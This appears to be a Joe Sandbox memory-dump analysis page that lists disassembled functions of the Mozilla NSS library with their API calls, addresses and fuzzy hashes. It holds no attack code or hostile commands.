Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 600b502cbad7316a70e0af077c445fd1334c287bb1da17084a15d930a6c14b3a
Instruction ID: 34181dbbfbbaf94da3a4f67396afbd4745766fe728f89b9ac90a7750af5d4623
Opcode Fuzzy Hash: 600b502cbad7316a70e0af077c445fd1334c287bb1da17084a15d930a6c14b3a
Instruction Fuzzy Hash: B7A1F4B5D00205ABEF009F64EC81BEE7BB5FF48308F154524E915AB261E731E996CBE1

Function 6D04AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D04ADB1

Part of subcall function 6D02BE30: SECOID_FindOID_Util.NSS3(6CFE311B,00000000,?,6CFE311B,?), ref: 6D02BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6D04ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6D04AE08

Part of subcall function 6D02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D1018D0,?), ref: 6D02B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D04AE25
PL_FreeArenaPool.NSS3 ref: 6D04AE63
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6D04AE4D

Part of subcall function 6CF54C70: TlsGetValue.KERNEL32(?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54C97
Part of subcall function 6CF54C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CB0
Part of subcall function 6CF54C70: PR_Unlock.NSS3(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D04AE93
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6D04AECC
PL_FreeArenaPool.NSS3 ref: 6D04AEDE
PL_FinishArenaPool.NSS3 ref: 6D04AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D04AEF5
PL_FinishArenaPool.NSS3 ref: 6D04AF16

Strings

security, xrefs: 6D04ADEE

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 1c6bb5710af295557d1d0b5490caedaeed02dd03c88dd21c3d1a896768d82595
Instruction ID: f269909b716ac0069444e66f009efeecf3455e0b0e36ab6cbca869f458e703b6
Opcode Fuzzy Hash: 1c6bb5710af295557d1d0b5490caedaeed02dd03c88dd21c3d1a896768d82595
Instruction Fuzzy Hash: 80413AB1C08211E7FB219B259C44F7F32E4AF4231CF618535EA2497246FB35A614C6D3

Function 6D0EAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6D099890: TlsGetValue.KERNEL32(?,?,?,6D0997EB), ref: 6D09989E

EnterCriticalSection.KERNEL32(?), ref: 6D0EAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6D0EAFCE
PR_SetPollableEvent.NSS3(?), ref: 6D0EAFD9
EnterCriticalSection.KERNEL32(?), ref: 6D0EAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6D0EB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6D0EB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6D0EB070
PR_JoinThread.NSS3(?), ref: 6D0EB07B
free.MOZGLUE(?), ref: 6D0EB084
EnterCriticalSection.KERNEL32(?), ref: 6D0EB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6D0EB0C4
PR_JoinThread.NSS3(?), ref: 6D0EB0F3
free.MOZGLUE(?), ref: 6D0EB0FC
PR_JoinThread.NSS3(?), ref: 6D0EB137
free.MOZGLUE(?), ref: 6D0EB140

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 94228d223b7feeb8c79c251a014d366e5424e9d7135dff8d253d8105140bdf97
Instruction ID: adcb978ae29a303f24a98bf344c41a60ec1bcb0a1cf99591ddeca164da688a2e
Opcode Fuzzy Hash: 94228d223b7feeb8c79c251a014d366e5424e9d7135dff8d253d8105140bdf97
Instruction Fuzzy Hash: B4916BB6904602DFDB00CF14D880A5ABBF1FF4935872685A9D91A9B722E732FC45CB81

Function 6D065CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6D062BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6D062A28,00000060,00000001), ref: 6D062BF0
Part of subcall function 6D062BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6D062A28,00000060,00000001), ref: 6D062C07
Part of subcall function 6D062BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6D062A28,00000060,00000001), ref: 6D062C1E
Part of subcall function 6D062BE0: free.MOZGLUE(?,00000000,00000000,?,6D062A28,00000060,00000001), ref: 6D062C4A

free.MOZGLUE(?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065D0F
free.MOZGLUE(?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065D4E
free.MOZGLUE(?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065D62
free.MOZGLUE(?,?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065D85
free.MOZGLUE(?,?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065D99
free.MOZGLUE(?,?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6D065E3E
free.MOZGLUE(?,?,?,?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6D065E47
free.MOZGLUE(?,?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6D065E78
free.MOZGLUE(?,?,?,?,?,?,?,6D06AAD4), ref: 6D065EB9
free.MOZGLUE(?,?,?,?,?,?,?,6D06AAD4), ref: 6D065EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6D06AAD4), ref: 6D065F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6D06AAD4), ref: 6D065F4B

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 03b05a40920b6de4d324423d74d2be891398bcc5df6edeeabc5e21b1e2fdf25f
Instruction ID: 3b7e186e17aeeff8ab9b24e30393fce77f689d4e768fea05756f9f8a37ffe5c4
Opcode Fuzzy Hash: 03b05a40920b6de4d324423d74d2be891398bcc5df6edeeabc5e21b1e2fdf25f
Instruction Fuzzy Hash: AB7150B9900B419FE710CF24D889BA277F5BF89308F148529E95E87312E732F955CBA1

Function 6CFE8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CFE8E22
EnterCriticalSection.KERNEL32(?), ref: 6CFE8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CFE8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CFE8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CFE8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CFE8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CFE8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CFE8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CFE8F00
free.MOZGLUE(?), ref: 6CFE8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CFE8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CFE8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CFE8F5B
PR_Unlock.NSS3(?), ref: 6CFE8F72
PR_Unlock.NSS3(?), ref: 6CFE8F82

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: d0fbc17a6417b2c60e3904ef7ec610b88af0f17e7e496f846f5b88a2da52999a
Instruction ID: 2e8fd2d7347f98afc4331c9846c422c63a7629f71828e6e592aaf5b375fb35be
Opcode Fuzzy Hash: d0fbc17a6417b2c60e3904ef7ec610b88af0f17e7e496f846f5b88a2da52999a
Instruction Fuzzy Hash: 3751F6B2D00215AFE710AF6CDC84AABB7B9EF49358F15412AED189B700E731ED4187E1

Function 6D00CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6D00CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6D00CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6D00CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6D00CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6D00CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6D00CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6D00CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6D00CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6D00CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6D00CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6D00CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6D00CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6D00CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6D00D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6D00D021

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 0711c5261466f3ba57a9443c78e62134787fa4ebddec782896352d940edc513e
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: AC312171B6791137FF1D50A96D21BAE148A4BA631EF450038FA0AF63C1F6C59B1702B9

Function 6D0E0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6D0E1000

Part of subcall function 6D099BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CFC1A48), ref: 6D099BB3
Part of subcall function 6D099BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CFC1A48), ref: 6D099BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6D0E1016

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PR_Unlock.NSS3(?), ref: 6D0E1021

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6D0E1046
PR_Unlock.NSS3(?), ref: 6D0E106B
PR_Lock.NSS3 ref: 6D0E1079
PR_Unlock.NSS3 ref: 6D0E1096
free.MOZGLUE(?), ref: 6D0E10A7
free.MOZGLUE(?), ref: 6D0E10B4
PR_DestroyCondVar.NSS3(?), ref: 6D0E10BF
PR_DestroyCondVar.NSS3(?), ref: 6D0E10CA
PR_DestroyCondVar.NSS3(?), ref: 6D0E10D5
PR_DestroyCondVar.NSS3(?), ref: 6D0E10E0
PR_DestroyLock.NSS3(?), ref: 6D0E10EB
free.MOZGLUE(?), ref: 6D0E1105

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 17e1be605f052973ce380389d09b06eb2227add8ebab904c01289a6720eb4446
Instruction ID: 4841941b8471c5e080bb229b8a6923964eeb27c7da061372a46e3ca8b2b90605
Opcode Fuzzy Hash: 17e1be605f052973ce380389d09b06eb2227add8ebab904c01289a6720eb4446
Instruction Fuzzy Hash: BF315AB9904402AFE7119F14EC42B5AB7B2BF41358B094120E90917A61E7B2F9B4DBD2

Function 6CFF5E60 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFF5ECF
EnterCriticalSection.KERNEL32(?), ref: 6CFF5EE3
PR_Unlock.NSS3(?), ref: 6CFF5F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CFF5FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CFF61F4

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT
API String ID: 2280678669-837408685
Opcode ID: 37348fad6a9d6aa24b69df0db353c02f9788b2b602b89ac50bfc46110dd0a935
Instruction ID: b012b2f33ccbd6c275474c4dfd1657c4d2f3a8ffc69059c0b7f378306d8f4397
Opcode Fuzzy Hash: 37348fad6a9d6aa24b69df0db353c02f9788b2b602b89ac50bfc46110dd0a935
Instruction Fuzzy Hash: 95F106B5A002158FEB54CF18C884B86BBF4FF09304F1582AAED189B356D7B4DA95CF91

Function 6CF5DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CF5DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CF5DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CF5DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CF5DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF5DECD

Strings

database corruption, xrefs: 6CF5DF77, 6CF5DFE7
%s at line %d of [%.10s], xrefs: 6CF5DF7C, 6CF5DFEC
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF5DF6D, 6CF5DFCC, 6CF5DFDD

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 991556dfb842b6c7cfa1314c281384bb94653d081b5f28c8a3e45e9fc1541c4d
Instruction ID: 92dba6a43b612e3b33429c72b316dc6114c70404b3355ecf51547952c0c2e3af
Opcode Fuzzy Hash: 991556dfb842b6c7cfa1314c281384bb94653d081b5f28c8a3e45e9fc1541c4d
Instruction Fuzzy Hash: 3FA102716093019FC710CF29C980B6BB7F5AFA5308F45892DFA898BB41E731E865CB91

Function 6D01EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6D01EE0B

Part of subcall function 6D030BE0: malloc.MOZGLUE(6D028D2D,?,00000000,?), ref: 6D030BF8
Part of subcall function 6D030BE0: TlsGetValue.KERNEL32(6D028D2D,?,00000000,?), ref: 6D030C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6D01EEE1

Part of subcall function 6D011D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6D011D7E
Part of subcall function 6D011D50: EnterCriticalSection.KERNEL32(?), ref: 6D011D8E
Part of subcall function 6D011D50: PR_Unlock.NSS3(?), ref: 6D011DD3

TlsGetValue.KERNEL32 ref: 6D01EE51
EnterCriticalSection.KERNEL32(?), ref: 6D01EE65
PR_Unlock.NSS3(?), ref: 6D01EEA2
free.MOZGLUE(?), ref: 6D01EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6D01EED0
PR_Unlock.NSS3(?), ref: 6D01EF48
free.MOZGLUE(?), ref: 6D01EF68
PR_SetError.NSS3(00000000,00000000), ref: 6D01EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6D01EFA4
free.MOZGLUE(?), ref: 6D01EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6D01F055
free.MOZGLUE(?), ref: 6D01F060

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: d0892c1a8ff69c8dfde742f74a7a5f0ace661cb4552e11829a116e23e96d5775
Instruction ID: c36cfe58083f647e87b86ef79bc60fa862f4676390f04e61b0f40467645ddad8
Opcode Fuzzy Hash: d0892c1a8ff69c8dfde742f74a7a5f0ace661cb4552e11829a116e23e96d5775
Instruction Fuzzy Hash: A5817175A04209ABEF01DFA5DC85BEE7BF5BF08314F054028EE09A7611E771E964CBA1

Function 6CFE4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CFE4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CFE4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CFE4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFE4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CFE4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CFE4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CFE4E85
DER_Encode_Util.NSS3(?,?,6D1305A4,00000000), ref: 6CFE4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CFE4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CFE4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFE4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CFE4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFE4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFE4FC8

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 58f2fefebb952658a9c1148a4d49cd5dd229aa4b1f2682b9eecdedecd677234f
Instruction ID: 440c267c0e2389082f2c885a3bab46592784f7a4b2c0aebc4fde9e351c5a7bf4
Opcode Fuzzy Hash: 58f2fefebb952658a9c1148a4d49cd5dd229aa4b1f2682b9eecdedecd677234f
Instruction Fuzzy Hash: 7981B272908301AFE711CFA5DC40B5BBBE8AF88758F15852DF958DB641E731E904CB92

Function 6D025C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6D025C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6D025CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6D025CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6D025D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6D025D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D025D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6D025E18
TlsGetValue.KERNEL32 ref: 6D025E5E
EnterCriticalSection.KERNEL32(?), ref: 6D025E72
PR_Unlock.NSS3(?), ref: 6D025E8B

Part of subcall function 6D01F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6D01F854
Part of subcall function 6D01F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6D01F868
Part of subcall function 6D01F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6D01F882
Part of subcall function 6D01F820: free.MOZGLUE(04C483FF,?,?), ref: 6D01F889
